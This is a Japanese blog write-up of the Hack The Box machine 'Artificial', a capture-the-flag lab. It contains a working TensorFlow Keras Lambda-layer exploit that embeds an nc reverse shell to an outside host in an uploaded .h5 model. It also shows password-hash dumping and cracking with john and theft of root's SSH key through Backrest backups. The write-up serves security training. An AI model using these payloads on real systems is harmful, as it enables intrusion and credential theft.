1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Artificial

Posted at

本記事では、Hack The BoxのArtificialを攻略した手順を解説します。


1. ポートスキャン

まずはnmapでターゲットのポートを調査します。

$ nmap -A -T4 -Pn -oN report_artificial artificial.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 13:27 JST
Nmap scan report for artificial.htb (10.10.11.74)
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   113.19 ms 10.10.14.1
2   135.22 ms artificial.htb (10.10.11.74)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 17.34 seconds

主な開放ポート:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

2. Webページの調査

80/tcpにアクセスしてみますが、重要な情報はありませんでした。

curl -L  http://artificial.htb

gobusterを使ってディレクトリを探索します。

$ gobuster dir -u http://artificial.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://artificial.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard            (Status: 302) [Size: 199] [--> /login]
/login                (Status: 200) [Size: 857]
/logout               (Status: 302) [Size: 189] [--> /]
/register             (Status: 200) [Size: 952]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

結果より/dashbordにアクセスしてユーザー登録し
ログインをすればよさそうです。
ブラウザで/dashboardにアクセスし適当に
アカウント登録してログインします。

スクリーンショット 2025-07-11 093023.jpg

ファイルをアップロードできるようですが
デフォルトでは.h5という拡張子のファイルを選択するようになっていました。


3. 脆弱性調査・CVE-2024-3660の利用

  • ページからダウンロードできるrequirements.txtDockerfileにはtensorflow_cpuという機械学習のライブラリ名が記載。
  • .h5について調査すると、AIモデルの保存に使う拡張子とのこと
    このサイトは、AIモデルをアップロードして評価するサービスのようです。

TensorFlowには下記RCEを可能とする脆弱性がある事がわかりました。

リバースシェルの取得

記事から取得したエクスプロイトコードをTensorFlowのインストールされたDockerコンテナでビルドしてエクスプロイトコードを含んだAIモデルを作成し、サイトにアップロードしてリバースシェルの取得を目指します。

エクスプロイトコードの作成

記事を元にリバースシェルを取得する為のエクスプロイトコードを作成しました。

import tensorflow as tf
  
def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 6666 >/tmp/f") 
    # 接続先は自身の環境に置き換える
    return x
model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

TensorFlow2.10.0 whlの取得

脆弱性はTensorFlow 2.13より低いバージョンで有効なようです。
元のDockerfileTensorFlow2.13.0なので、このままでは利用できないと考えました。
tensorflow2.10.0のイメージをpypiからダウンロードします。
https://pypi.org/project/tensorflow/2.10.0/#files

DockerコンテナでAIモデルをビルド

以下の手順で実施

  • tensorflow_cpu-2.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whlをダウンロードしてDockerfileと同じ場所に配置
  • codeディレクトリを作成しエクスプロイトコードを配置
  • Dockerfileを下記のように修正
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
    apt-get install -y curl && \
    rm -rf /var/lib/apt/lists/*

COPY ./tensorflow_cpu-2.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl /code/

RUN pip install ./tensorflow_cpu-2.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

Dockerイメージビルド 名前はtensorflowからとってtenとしました。

docker image build -t ten .

ビルドしたイメージからコンテナを起動

docker container run -it -v "${PWD}/code:/code" --name ten ten

コンテナ内で記事から入手したexploitのコードを実行

python exploit.py

exploit.h5が作成されます

攻撃PCでリバースシェルを待受けます。

nc -lnvp 6666

作成したexploit.h5をターゲットサイトにアップロード
実行して、リバースシェルを取得します。
私の場合なかなかリバースシェルが取れず、最終的にHack The BoxのVPNプロトコルudpからtcpに変更したらうまくいきました。

4. 探索・権限昇格

  • リバースシェル経由でサーバー内部を調査
  • user情報が格納されたDBファイルを発見
  • DBからパスワードハッシュを取得
  • ハッシュをクラックし、SSHパスワードを取得

リバースシェルの安定化

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
app@artificial:~/app$ ^Z
[1]+  Stopped                 nc -lnvp 6666

$ stty raw -echo; fg
nc -lnvp 6666
             export TEAR=xterm-256color
app@artificial:~/app$ export SHELL=bash
  • appユーザーでログインに成功
  • gaelユーザーのホームディレクトリを発見
app@artificial:~/app$ ls /home
app  gael
  • /home/app/app/app/instanceの下にusers.dbを発見
  • gaelユーザーのパスワードhashを取得
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
<snip>
  • hash-identifierで種類を特定→MD5
  • ハッシュをhash.txtに保存
  • johnで解析
john --format=Raw-MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
  • 取得したパスワードを使いgaelユーザでターゲットにログイン
ssh gael@artificial.htb

5. Backrestログイン・root権限取得

  • /opt/backrest/install.shを確認
    backrestというサービスを127.0.0.1:9898で稼働するように登録している。
[Service]
Type=simple
User=$(whoami)
Group=$(whoami)
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"

ssコマンドでリッスンしているポートを確認

gael@artificial:~$ ss -lntu
Netid     State       Recv-Q      Send-Q           Local Address:Port           Peer Address:Port     Process     
udp       UNCONN      0           0                127.0.0.53%lo:53                  0.0.0.0:*                    
tcp       LISTEN      0           2048                 127.0.0.1:5000                0.0.0.0:*                    
tcp       LISTEN      0           4096                 127.0.0.1:9898                0.0.0.0:*                    
tcp       LISTEN      0           511                    0.0.0.0:80                  0.0.0.0:*                    
tcp       LISTEN      0           4096             127.0.0.53%lo:53                  0.0.0.0:*                    
tcp       LISTEN      0           128                    0.0.0.0:22                  0.0.0.0:*                    
tcp       LISTEN      0           511                       [::]:80                     [::]:*                    
tcp       LISTEN      0           128                       [::]:22                     [::]:*  
  • SSHポートフォワーディングを実行
ssh -L 9898:127.0.0.1:9898 gael@artificial.htb

攻撃端末のブラウザからアクセス

  • Backrest1.7.2のログイン画面が表示
  • 認証情報が分からずログインできない
    スクリーンショット 2025-07-13 235202.jpg

Backrest認証情報の調査

公式ドキュメントの情報より、
/opt/backrest/.config/backrest/config.jsonに認証情報がありそう。
しかし、権限が足りず見る事ができません。

さらに探索すると、/var/backups/backrest_backup.tar.gzというファイルを発見
このファイルは実際にはgzipで圧縮されておらず下記コマンドで展開

tar -xvf /var/backups/backrest_backup.tar.gz -C ./
  • ファイルの中にconfig.jsonのバックアップが入っていて中を確認
  • name,passwordBcryptが管理コンソールの認証情報のようです。
gael@artificial:~$ cat backrest/.config/backrest/config.json 
{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
      }
    ]
  }
}

gaelはsysadmグループに所属しているので、バックアップを展開できたのだと思われます

gael@artificial:~$ ls -la /var/backups/
total 51228
<snip>
-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz
id gael
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

passwordBcryptの内容はbase64エンコードされているのでデコードしてファイルに保存

echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d > hash2.txt

johnで解析

john --format=bcrypt hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt

6.Backrestのバックアップ機能を利用してroot.txtを取得

Backrest管理コンソールにログインして/rootのバックアップを行います。
Backrestの操作が思った以上に難しかったので、私がうまくいった手順を細かく記載

  1. Repositories → Add Repo でバックアップ先設定

スクリーンショット 2025-07-14 004042.jpg

  1. Plans → Add Plan で /root を対象にバックアップ実行
    スクリーンショット 2025-07-14 004123.jpg

  2. 作成したPlanを選択してBackup Nowを実行

  3. 作成したBackUpを選択 → Snapshot Browser → / → root の右横のRestore to pathをクリックして表示された名前で Restore → Confirm Restore?
    スクリーンショット 2025-07-14 004509.jpg

  4. 作成されたRestoreをクリックしてDownload File(s)
    スクリーンショット 2025-07-14 005005.jpg

  5. 攻撃端末に.tar.gz形式のアーカイブがダウンロードできるので中からroot.txtを取得


おまけ:root権限昇格

取得した/rootディレクトリの中のid_rsaをつかってsshするとroot権限でログインできて、完全攻略となります。

chmod 600 root/.ssh/id_rsa
ssh -i root/.ssh/id_rsa root@artificial.htb
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?